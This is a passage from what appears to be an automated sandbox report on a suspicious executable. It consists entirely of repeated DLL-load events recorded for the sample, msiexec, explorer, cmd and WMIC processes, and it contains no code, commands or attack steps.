Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
